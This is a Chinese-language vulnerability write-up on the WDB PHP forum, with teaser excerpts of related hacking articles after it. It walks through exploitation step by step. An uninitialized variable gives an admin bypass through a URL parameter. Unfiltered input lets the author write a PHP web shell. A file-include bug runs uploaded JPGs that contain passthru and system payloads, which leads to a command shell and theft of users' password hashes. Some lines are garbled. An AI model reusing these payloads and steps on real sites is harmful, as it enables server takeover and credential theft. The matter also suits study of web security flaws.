WDB论坛存在多个严重漏洞_漏洞研究

=============================================== 

仅以此文送给我的好友Bytes, 

并祝他和他的女友璐子能够真的相爱一生,白头偕老 

=============================================== 

前言: 

我在和很多网管谈到WEB安全的时候,很多人告诉我WEB安全就是sql injection,“不就是在一个变量后面嵌入你的sql语句么,这个我也会”,这是我听到最多的人们对WEB安全的认识,WEB安全难道仅仅是sql injection,当然不是!sql injection只不过是冰山一角罢了。认为注入就是WEB安全全部的人们阿,睁大你的眼睛,看我用实际行动给你一击响亮的耳光吧! 

描述: 

最近在读WDB论坛,这个论坛很好看,风格华美而且和LB5有一点相像,但是安全性实在是不敢恭维,如果我说平均5个文件就有一个漏洞,那是一点都不夸张,虽然作者好像已经有意的作了一些防范,但是过滤不是非常严格。导致恶意用户或者非典型恶意用户可以写入自己的代码,然后可以执行自己语句进而控制整个系统。 

一、topsys.php全局变量未初始化导致控制整个论坛 

1、漏洞分析 

topsys.php是管理员用来集中管理论坛总制顶贴子的文件,这个文件可用来对论坛帖子实现总制顶,清空,删除等操作, 就是这样的小小的文件,由于编程人员对其中的个别变量没有初始化,却带来了可以控制整个论坛,甚至整个控制系统的危害。 

让我们先看看,要如何绕开限制先,部分代码如下: 

=========codz begin=========== 

13 if ($login_status==1 && ($username==$admin_name ||($manager && in_array($username,$manager)))) {$announceadmin=1;} 

14 //----让增加的管理员有权管理!---------- 

15 if (file_exists("datafile/admin_user.php")) { 

16 include("datafile/admin_user.php"); 

17 if ($admin_user && in_array($username,$admin_user)) { 

18 $announceadmin=1; 

19 } 

20 } 

21 //----让增加的管理员有权管理!---------- 

22 $musia=0; 

23 if ($announceadmin==1) $musia=1; 

=========codz endz============ 

我们从第13行的检查可以看出来,他这段代码就是为了判定是不是有管理员权限,如果有的话则设定$announceadmin变量为1,好,后面管理员没忘记初始化一下$musia,然后检查$announceadmin变量是不是为1,如果为1,再设定$musia变量为真。这里我们先不管,往后面看。 

再来看一段代码: 

=========codz begin=========== 

150 if ($job=="write") { 

151 if ($announceadmin!=1) {require("header.php"); 

152 echo "对不起,未登陆或者身份不正确,请 <a href='javascript:history.back(1);'>返回检查</a>"; 

153 require("footer.php"); 

154 exit;} 

//后面进行制顶操作...... 

=========codz endz============ 

程序是如何验证管理员身份呢?编程人员就凭借了一个值来进行判断。他这里检查announceadmin变量是否为1,如果不为1,则报错说身份不正确(不是管理员)。好了,回过头去看一下,刚才那看似严密的验证,你想到什么了没有?大家可能都发现了,那个用来检查是否有管理员权限的值却并没有做初始化,那么如果我们直接构造语句提交$announceadmin=1。我们就可以用管理员权限来发布、删除制顶的帖子。我们来试试看,提交 

http://bbs.target.com/topsys.php?announceadmin=1 

我们已经能看出来和刚才有什么不一样了,多了管理员的管理模块,好我们找个贴子制顶,提交URL如下: 

http://bbs.target.com/topsys.php?announcea...tent=hello,this is Jambalaya &title=wdbread.php?forumid=1&filename=f_27,我们这里把第一个论坛的第27个贴子,标题为"hello,this is Jambalaya"的贴子制顶了。回车看看,哈哈,我们成功了。这里我们用相同的方法可以去删除,清空总制顶的贴子,这里再去分析就有点浪费时间了,大家自己看吧。高兴一阵子后,想起来了,我们怎么能控制整个网站呢?HOHO~~真正的攻击在这里呢......跟我来~~~~~ 

上面这些没什么,无非就是能以管理员身份总制顶、清空和删除帖子,其他的什么也做不了了,但我们却成功的绕过了对管理员权限的验证,绕过之后的我们是与众不同的,不信?呵呵,wait and see... 

我们来看下面的代码: 

=========codz begin=========== 

165 if (file_exists("datafile/topsys.php")) $msg=file("datafile/topsys.php"); 

166 else $msg[0]=""; 

167 

168 $content=stripslashes(safe_convert($content)); 

169 $title=stripslashes(safe_convert($title)); 

170 $title="".$title; 

171 if($filename) $title=$title."&filename=".$filename;//for wdbread.php 

172 $new="$user|$title|$timestamp|$content|$member\n"; 

173 

174 $oldcount=count($msg); 

175 if ($oldcount>$msgg_max) { 

176 for ($i=$msgg_max; $i<$oldcount; $i++) unset($msg); 

177 } 

178 

179 $old=implode("",$msg); 

180 writetofile("datafile/topsys.php",$new.$old); 

=========codz endz============ 

这些是我们得到管理员权限后可以看到的东西,让我们看看,他首先检查是不是存在datafile/topsys.php,这个文件是用来纪录那些制顶的贴子的。好了,看看他都写入了什么?writetofile("datafile/topsys.php",$new.$old)从这句可以看出,他将$new.$old写入topsys.php中,而$new="$user|$title|$timestamp|$content|$member\n",其中$user和$timestamp是固定的,$title和$content似乎可以用,只是那个safe_convert函数看着有点吓人。但对安全的人来说,细心、耐力是不可以缺少的,否则所谓的好运是不会主动找到你的。为了不放过一个细节,我们还是看一下这个函数,看看是不是存在过滤不严。于是去global.php翻出这个函数: 

=========codz begin=========== 

837 function safe_convert($d) { 

838 $d = str_replace("\t","",$d); 

839 $d = str_replace("<","<",$d); 

840 $d = str_replace(">",">",$d); 

841 $d = str_replace("\r","<br>",$d); 

842 $d = str_replace("\n","",$d); 

843 $d = str_replace("|","│",$d); 

844 $d = str_replace(" ","  ",$d); 

845 return $d; 

846 } 

=========codz endz============ 

看完之后,一身冷汗,过滤得很严嘛,几个重要的字符基本上都被他消灭了。看来想从这里找到过滤不言的地方是不大可能了。回去看其他几个变量,剩下的就一个$member了,上下文扫一眼。嗯,这个我们可以控制。我们就用这个值向文件里写入我们自己的代码。 

喂!等一下!等一下!其实看到这里就可以开始写攻击方法了,但是我们打住一下。仔细看一下我们的代码,和我的分析过程,其实这里有我们忽略的一点,你注意到了么?没有?重新来看一遍。 

假设这里$member变量也被过滤了,我们还有什么方法?仔细看看,其实那个$title变量并没有真正的被过滤,这里编程人员犯了一个严重的逻辑错误。他在一开始就对$title进行过滤是没错的,但是他却在过滤之后重新给$title赋值,这就不对了,来看看这句:"if($filename) $title=$title."&filename=".$filename"。他在对title严格的过滤后,又给title这个变量重新赋入新值,而这个这个新值并没有经过任何过滤。那么我们用这个新值完全可以写入自己的代码。就好像给一个防御者一把坚实的盾牌之后,在盾牌中间挖了一个大洞,然后对弓箭手说:"好了,你们可以放箭了"。 

从这里可以看出任何一个细节的不注意,都会让自己的防御土崩瓦解。 

2、攻击方法 

该分析都分析完了,"君子动手不动口",来,来,上手了~~~~ 

我们既然可以向里面写入代码,那我们写些什么呢?0.001秒的思考之后,我决定写入一个shell进去。我们要一次性写入所有东西。先注册一个用户: 

username:Jambalaya 

password: itaq.org 

然后发个帖子,标题是"我test一下哈",内容是"我是Jambalaya,我来自www.itaq.org,大家有工夫过来玩啊"。哈哈,提交下面的URL: 

http://bbs.target.com/topsys.php?announcea...#036;jam);?> 

然后直接访问http://bbs.target.com/topsys.php?jam=dir,看看,怎么样?一个shell做成了~~~~ 

dir一下看看里面的目录,看到user_jkljkl是保存用户的目录,提交URL: 

' target='_blank'>http://bbs.target.com/user_jkljkl/用户名,?....没兔苈肓?P 

不过这样太容易被发现了,你可以先把对方的总制顶帖子卸下来,然后再制顶上去,顺便写一个shell到里面 

那个title变量没过滤全的应该怎么做?大家自己试试看,毕竟,看懂和理解是两码事,理解和会应用又是两码事,在IT安全论坛我们有一句口头禅,是好友SystEm32带来的,我很喜欢,这里送给大家:"如果你没有实践过,那么对不起,你没有资格发言!" 

二、Style.php文件未作任何过滤 

下面我们来看看style.php文件,该文件其中变量并没有经过任何过滤,导致恶意攻击者可以执行自己的恶意代码,进而可以控制整个网站。 

测试环境:iis5.0+windows2000 

1、具体漏洞 

描述: 

我们先来看一下style.php的相关代码: 

=========codz begin=========== 

<? 

if (empty($skin)) $skin=水晶经典; 

if (file_exists("datafile/style/".$skin)) include("datafile/style/".$skin); 

else include("datafile/style/水晶经典"); 

=========codz ends============= 

代码本身的原意是对论坛的外观风格进行设置,如果skin这个变量不为空,那么设置skin。如果datafile/style/下的skin这个文件存在,则include这个文件。我们注意到代码中skin这个变量并没有作任何检查,也就是说我们可以做任何操作,或者用"../","./"来跳转到任何目录或者include我们指定的任何文件。 

那么我们现在怎么做呢?我们知道include可以用来解释执行php文件代码,即使它是以图片形式保存的,那么后面的就简单多了,首先要上传一个图片,WDB版本不同上传的方法也不同,有的汉化版本可以上传头像,有的只能上传附件,我用的这个水晶论坛只可以上传附件,而且还要发一定量的贴子才可以。在疯狂发贴后,发现终于可以上传附件了。上传一个附件,看到论坛将其保存为upload/forum1_f_23_978374564.jpg,现在可能有的朋友想在jpg中写入一个PHP木马,然后用include来解释执行.呵呵,这是行不通地.include的确可以解释jpg中的代码,但是如果你他不能去在问号后面接受GET传送来的变量. 

我们可以直接作一个探针来寻找保存user的目录,直接在jpg文件中写入<?passthru("dir");?>,在url中直接请求yun_qi_img/forum1_f_23_978374564.jpg,然后靠返回来的值,得到绝对路径,如我得到的绝对路径是F:\myhome\wdb\datafile,顺便还得到了里面的所有的文件,再上传一个图片,里面写到<?passthru("dir f:\\myhome\\wdb")?>,再次在URL中请求yun_qi_img/forum1_f_23_978374564.jpg,返回来的就是f:\myhome\wdb中的目录和文件,从中找到user目录,我找到的是user_jkljkl,在URL中提交请求http://bbs.target.com/myhome/wdb/user_jkljkl/Jambalaya,我们直接就能看见Jambalaya的密码了,得到如下: 

Jambalaya|EED8CDC400DFD4EC85DFF70A170066B7||jam@itaq.org||1083116258||||||1084002908|2||none|998.4|

1084150077|1084150372||||||1068|jam 2004-05-08 15:55|wdbread.php?forumid=1&filename=f_13|||1|||192.168.0.13 

Jambalaya的密码就是EED8CDC400DFD4EC85DFF70A170066B7 

下面我来弄一个shell,在另一个文件中写到<?system($a);?>,保存成jpg文件上传,路径是upload/forum1_f_24_978374654.jpg,在上传一个文件内容是<?rename "f:\\myhome\\wdb\\upload\\forum1_f_24_978374654.jpg","jam.php"?>的图片,保存成upload/forum1_f_25_978374773.jpg,在URL中直接调用yun_qi_img/forum1_f_25_978374773.jpg,这样的目的就是让它执行我们的指令直接更改后缀名为php,这样成功调用我们的语句得到了一个shell. 

三、收尾: 

到这里文章就写完了,准备做收尾工作,还是那句老话:不希望大家去攻击别人。 

这里必须要强调的是论坛漏洞的存在,危害的不仅仅是论坛本身,而是整个系统安全! 

笔者较早前就发现了这几个漏洞,刚开始只是在itaq.org的内部版和大家交流,并没有打算公布。前不久,遇到了一个叫lovehacker的前辈,他告诉我只有不断的交流才能不断的提高,那些敝帚自珍,研究东西后不舍得与别人共享的人是无法提高的。他把自己发现服务器漏洞的经验无私的拿出来共享。他的共享精神让我无地自容,这里感谢lovehacker的教诲。 

行文仓促,技术有限,如果文中有什么错误,还希望高手来www.itaq.org当面指正,不胜感激。

时间: 2024-09-04 15:24:51

WDB论坛存在多个严重漏洞_漏洞研究的相关文章

Discuz!论坛install.php书写错误漏洞_漏洞研究

书写错误,导致恶意用户构造语句可以写入webshell,进而控制整个服务器.    前几个晚上,把前台文件,只要是数据库调用中的变量都看了一遍.看看是不是有过滤不严的地方,看完后觉得,过滤不严的地方的确不少,但是都已经被单引号保护起来了.在php中,如果magic_qoute_gpc=on(默认的)编译器会自动把单引号等特殊字符转义,而这个时候我们想改变程序的执行流程是非常困难的.这样大大的增加了入侵的难度,在某种程度上,也的确保证了其安全.这也是为什么朋友提出一定要在magic_qoute_g

为动网论坛添加一个密码嗅探器(DVBBS)_漏洞研究

动网先锋论坛,凭借其强大全面的功能,再加上它免费提供给个人用户,在网络众多论坛中,独树一帜.很多人都把它作为自己论坛的最佳首选.但是新版本的论坛,对用户密码采用了不可逆的MD5加密,即使是管理员,也无法查询到个人用户的密码.再数据库中只能查询了加密后的结果.   先描述一下它得登陆过程,用户输入帐号后号,调用MD5函数,输入的密码加密,然后比较存储在数据库的数据和密码加密的结果是否相同.如果相同,登陆成功,将个人信息保存在COOKIE中.   现在我们要自己动手,为论坛增加一项记录密码的功能. 

蓝雨设计整站SQL注入漏洞_漏洞研究

本来是投稿文章来的,因为稿件的问题所以就上不了杂志,再加上最近有些人在网站留言说三道四的猜测蓝雨的问题,所以我就公开漏洞预警所说的漏洞,官方已经把版本都打了补丁,当然有些使用网站至今还是存在着SQL注入漏洞的,所以一切后果与我以及BCT小组无关  最近无聊,在网上走来走去看看.发现现在的整站系统可是越来越多了,修改版本等等的N多阿!而蓝雨设计整站的使用者也越来越多了,蓝雨整站系统是从NOWA 0.94修改而来的!基于NOWA的系统不单指蓝雨一个还有很多的!我在此就不一一列举了,核心都是一样,只是

UBB的跨站脚本攻击的漏洞_漏洞研究

近日,由于发现一些站点仍然存在UBB的跨站脚本攻击的漏洞.跨站脚本攻击虽然很少会对服务器造成一些什么比较大的影响,但对于一个站点来说,存在这种漏洞实在是太不值得!小则,弹点 什么东东出来;中则改改主页;重则窃取用户的COOKIES资料,更甚者将会G掉浏览者的硬盘.一个站点被变成一个恶意网站,还有谁敢来?如果再加上该站的站长比较"盲"一些,岂不乱套了?  小小的一段代码就真的能使一个站点成这样?好叫我们来具体的看看所谓的跨站脚本攻击到底会成为什么样的攻击模式.进入一个含UBB功能的站点比

新思路现动网新漏洞_漏洞研究

作者:优格GXU 文章来源:邪恶八进制信息安全团队   文章作者:优格[GXU] (www.wuzhou.org)   信息来源:邪恶八进制信息安全团队(www.eviloctal.com)   原文下载:http://www.wuzhou.org/dvbbs.doc   前段时间focn等人发现了动网的提权漏洞,这漏洞可是闹得天翻地覆的,连当当网论坛也给挂上马了.正是这个漏洞盖住了动网的其他漏洞,使动网的其他漏洞少为人知.   相信大家都看过<终结动网最新挂马方法!>的文章了,其实这个漏洞已

研究桃源留言本的漏洞_漏洞研究

桃源留言本是桃源工作室http://www.mytaoyuan.com/开发的一个asp留言系统.由于桃源留言本界面清新,功能强大,简洁适用,所以被一些大大小小的网站所采用,受到许多站长的好评.桃源留言本由原来的2.0版,升级到现在的3.0版.其官方网站也是3.0版.前段时间,我在入侵我们学校的网站的时候,发现了一个部门的网站上有这个留言本.于是引起了我对它的一番研究,我下载了各个版本的源代码,读了部分代码之后,发现漏洞还真不少.      一.上传漏洞     我在网上搜索的时候,发现已经有人

MSIE DHTML Edit跨站脚本漏洞_漏洞研究

微软在去年发布了MSIE DHTML Edit控件跨站脚本漏洞,但是圈内一直没有公布出好用的EXP,害得一帮新手叫苦不迭,别急,这不是为大家送来了大餐吗?!  [受影响系统]   Microsoft Internet Explorer 6.0  - Microsoft Windows XP Professional SP1   - Microsoft Windows XP Professional   - Microsoft Windows XP Home SP1   - Microsoft W

BBSXP5.15跨站攻击漏洞_漏洞研究

前言:在新云网站管理系统1.02出来的时候,他的留言本就存在跨站漏洞,我测试了黑客动画吧,还好没有开放留言本功能,然后又测试了黑软基地 居然可以成功利用,和新云官方网站都成功拿倒了管理元的cookies.  想不到吧. 看来跨站不得不防范啊!  BBSXP的漏洞近段时间闹得可火.现有的漏洞大家都见过了,就不说了.今晚无聊,看了看BBSXP 5.15最新版的几个文件代码,发现还是存在跨站攻击的漏洞.  Cookies.asp文件,代码如下:   对提交的 "no" 参数没做处理.再看se

推荐:二次发现桃源网络硬盘漏洞_漏洞研究

本人在第10期上的黑防刊登了桃源网络硬盘相关的漏洞后.马上就通知了桃源官方修复了相关漏洞.近日,下班后无聊,就重新下载了桃源网络硬盘的最新版本2.5进行全面检测.发现虽然修补了用".",另存.下载其网站的配置文件及数据库等漏洞.但用其它的方法作了个测试后发现,汗.还是存在相关漏洞,还有就是可以构造代码,任意查看网络硬盘所有文件的源代码及配置文件和数据库.好的,转入正题吧. 为了给大家给个真实的视觉效应,特意在官方详细测试.第一就是上传漏洞,在这里官方已经换上了最新版本的V2.5了.所在